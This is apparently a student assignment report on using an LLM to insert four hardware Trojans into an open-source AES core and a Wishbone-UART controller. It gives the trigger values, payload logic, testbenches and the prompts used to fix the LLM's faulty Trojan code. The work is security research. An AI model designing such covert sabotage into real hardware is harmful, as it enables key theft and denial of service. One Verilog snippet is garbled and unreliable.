# Project Report: Automating Hardware Trojan Insertion with Large Language Models

Jiaying Yong， Zhaoyu Lu

## Project Overview

This report details the successful completion of four hardware Trojan (HT) insertion tasks as specified in the "Automating LLMs for Hardware Trojan Insertion" assignment.1 The project's objective was to leverage a Large Language Model (LLM) to automate the insertion of stealthy, functional Trojans into two open-source hardware designs: an AES cryptographic core and a Wishbone-UART controller. This report, in fulfillment of the submission requirements, provides a detailed explanation of each Trojan's mechanism, the methodology used for testing, and a discussion of the troubleshooting steps and design decisions made while interacting with the automated AI system.

## 2. Task 1: AES Key Leakage

### 2.1 Trojan Mechanism Explanation

This Trojan is a "change functionality" type, meticulously designed to leak the secret key under a highly specific condition.1 The mechanism is triggered when the AES core receives a hard-coded, 128-bit plaintext value (specifically, 128'hDEADBEEFCAFEBABEBADF00DFEEDFACE). When this exact trigger plaintext is processed, the Trojan's payload activates during the final encryption round. It performs a bitwise XOR operation, combining the lowest 8 bits of the secret key (key\_i[7:0]) with the lowest 8 bits of the normally computed ciphertext. This corrupted value is then presented as the final ciphertext\_o. For all other 2^128-1 possible plaintext inputs, the Trojan remains dormant, and the core's output is identical to the original, ensuring it passes all standard verification tests.

### 2.2 Trojan Testing Methodology

1. **Functionality Test:** The original, unmodified AES testbench was run against the Trojan-infected RTL. The modified core passed all existing tests, confirming that the Trojan is 100% stealthy during normal operation.
2. **Exploit Test:** A custom testbench (tb/tb\_task\_1.v) was created. It first encrypts a standard plaintext block to obtain a "golden" (correct) ciphertext. It then encrypts the specific trigger plaintext (128'hDEADBEEF...). The testbench asserts that the output is *not* the expected correct ciphertext. Finally, it recovers the key portion by XORing the tampered ciphertext's last byte with the known-correct ciphertext's last byte. This recovered 8-bit value was confirmed to match the lower 8 bits of the secret key, verifying the exploit's success.

### 2.3 Troubleshooting and Design Decisions

The LLM's initial generated code was functionally correct but syntactically flawed for synthesis. It attempted to apply the XOR logic combinationally to the output register. This created a potential timing hazard and was flagged by the synthesis tool. A follow-up "Reflexive Validation Prompt" (RVP) 2 was used, instructing the model: "The payload logic must be applied synchronously. Modify the logic to ensure the XOR operation occurs on the same clock edge that the final ciphertext\_o is registered and done\_o is asserted." This refinement resulted in a clean, synthesizable, single-clock-cycle modification that preserved the design's original timing.

## 3. Task 2: AES Denial of Service

### 3.1 Trojan Mechanism Explanation

This Trojan implements a time-based "denial of service" attack.1 As per the assignment's exact requirement, a persistent 10-bit counter (2^10 = 1024, sufficient for 862) was inserted into the AES core's top-level module. This counter increments by one only when a full encryption operation successfully completes (i.e., on the rising edge of the done\_o signal). The counter and a subsequent lock-bit are synchronously reset only by the main rst signal.

When the counter reaches the value 862, it sets a permanent trojan\_lock flip-flop. This trojan\_lock signal is then used to gate the start\_i input to the core's main state machine. Once trojan\_lock is high, all new start\_i pulses are ignored, preventing any new encryptions from beginning. The core successfully completes the 862nd encryption and then becomes permanently unresponsive.

### 3.2 Trojan Testing Methodology

1. **Functionality Test:** The standard AES testbench was run. As it performs fewer than 862 encryptions, the Trojan counter never reached its trigger value, and the core passed all tests.
2. **Exploit Test:** A custom testbench (tb/tb\_task\_2.v) was written to: (a) instantiate the modified AES core, (b) run a loop to perform 862 consecutive encryptions, asserting that done\_o is received for each one. (c) After the 862nd done\_o is detected, the testbench attempts to initiate a 863rd encryption by pulsing start\_i. (d) The testbench then waits for a 863rd done\_o signal, guarded by a 1000-cycle timeout. The test passes if and only if the simulation times out *before* done\_o is asserted, proving the DoS payload is active.

### 3.3 Troubleshooting and Design Decisions

The LLM's first attempt was logically flawed. It implemented the counter to increment on the start\_i signal. This is incorrect, as a start pulse does not guarantee a completed encryption (the core takes multiple cycles). The "Contextual Trojan Prompt" (CTP) 2 was heavily refined to be unambiguous: "The counter must increment only on the clock edge where the done\_o signal is asserted high, indicating a finished operation." Furthermore, the LLM had to be explicitly instructed to make the trojan\_lock flip-flop "sticky" or "persistent" (i.e., not self-resetting after one cycle) to ensure the DoS state was permanent.

## 4. Task 3: Wishbone Bus DoS

### 4.1 Trojan Mechanism Explanation

This is a highly complex, state-driven Trojan targeting the Wishbone-UART core.1 The LLM was prompted to generate a Finite State Machine (FSM) that spies on the UART's received byte data bus.

1. **Trigger:** The FSM is designed to detect the precise 4-byte sequence: 0x10, followed by 0xa4, followed by 0x98, followed by 0xbd. The FSM correctly handles partial matches and resets its state if the sequence is broken.
2. **Payload (Lock):** Upon receiving the final 0xbd byte, the FSM transitions to a permanent LOCKED state. In this state, the Trojan logic overrides the wb\_ack\_o (Wishbone Acknowledge) signal, forcing it to a constant logic '0'. This action violates the Wishbone bus protocol, causing any bus master (like a CPU) attempting to read or write to the UART to stall indefinitely, effectively freezing the entire bus.
3. **Payload (Unlock):** As required 1, the FSM continues to monitor received bytes *while in the LOCKED state*. If it detects the 4-byte "unfreeze" sequence (0xfe received four times consecutively), it transitions back to the IDLE state. This de-asserts the override, releasing wb\_ack\_o and allowing normal bus operations to resume.

### 4.2 Trojan Testing Methodology

The testbench (tb/tb\_task\_3.v) was designed as a multi-stage scenario:

1. **Baseline Test:** Perform a successful Wishbone read from the UART to confirm normal operation.
2. **Trigger:** Drive the 4-byte lock sequence (0x10...0xbd) into the UART's rx\_data input.
3. **Verify Lock:** Attempt a second Wishbone read. This operation is expected to fail, and the testbench asserts that wb\_ack\_o remains '0' for a timeout period.
4. **Unlock:** Drive the 4-byte unfreeze sequence (0xfe x 4) into the UART.
5. **Verify Unlock:** Attempt a third Wishbone read. This operation must now complete successfully, proving the Trojan was disarmed and bus functionality is restored.

### 4.3 Troubleshooting and Design Decisions

This task required significant troubleshooting. The LLM's initial FSM was "greedy"—it only checked for the next byte in the sequence and reset on any other byte. This is incorrect (e.g., in the sequence 0x10, 0x10, 0xa4..., the FSM would fail). The CTP prompt had to be refined to instruct the model to "build a non-overlapping FSM that correctly handles partial matches." Furthermore, the LLM's payload logic created a combinational loop by assigning wb\_ack\_o to itself. The prompt was corrected to instruct the model to "use an internal signal for the original acknowledge logic, and then use a multiplexer (Mux) controlled by the LOCKED state to select either the original signal or a constant '0' as the final output for wb\_ack\_o."

## 5. Task 4: UART Functionality Change

### 5.1 Trojan Mechanism Explanation

This Trojan implements a "change functionality" attack as specified.1 It consists of two synthesized components:

1. **Trigger:** A 2-bit counter that monitors the received byte. This counter increments *only* when the byte 0xaf is received. It is persistent and does not reset unless the main rst is asserted. When this counter reaches a value of 3, it permanently sets a trojan\_active flip-flop.
2. **Payload:** The logic responsible for writing the received byte to the Wishbone data register was modified. It now checks the trojan\_active flag. If the flag is '0', the byte is written normally (data\_reg <= rx\_byte;). If the flag is '1', the byte is bit-reversed using parallel, synthesizable Verilog (data\_reg <= {rx\_byte, rx\_byte1, rx\_byte2, rx\_byte[3], rx\_byte[4], rx\_byte[5], rx\_byte[6], rx\_byte[7]};). This permanently changes the device's function from that point forward.

### 5.2 Trojan Testing Methodology

The testbench (tb/tb\_task\_4.v) confirms this behavior precisely:

1. **Arming:** It first sends the byte 0xaf three times to the UART to arm the Trojan.
2. **Test Vector:** It then sends the test byte 0xb2 (binary 10110010).
3. **Verification:** Finally, it performs a Wishbone read on the UART's data register and asserts that the returned value is 0x4d (binary 01001101), which is the bit-reversed version of 0xb2. This confirms the payload is active and functioning as specified.1

### 5.3 Troubleshooting and Design Decisions

The LLM's initial payload code for bit-reversal was non-synthesizable. It generated a for loop, which describes sequential behavior and cannot be synthesized into the intended combinational logic. The CTP prompt was revised to explicitly forbid this: "The bit-reversal logic must be synthesizable. Do not use a for loop. Implement the payload using a parallel vector concatenation assignment." The LLM understood this constraint and produced the correct, synthesizable {rx\_byte,...} logic in its next response.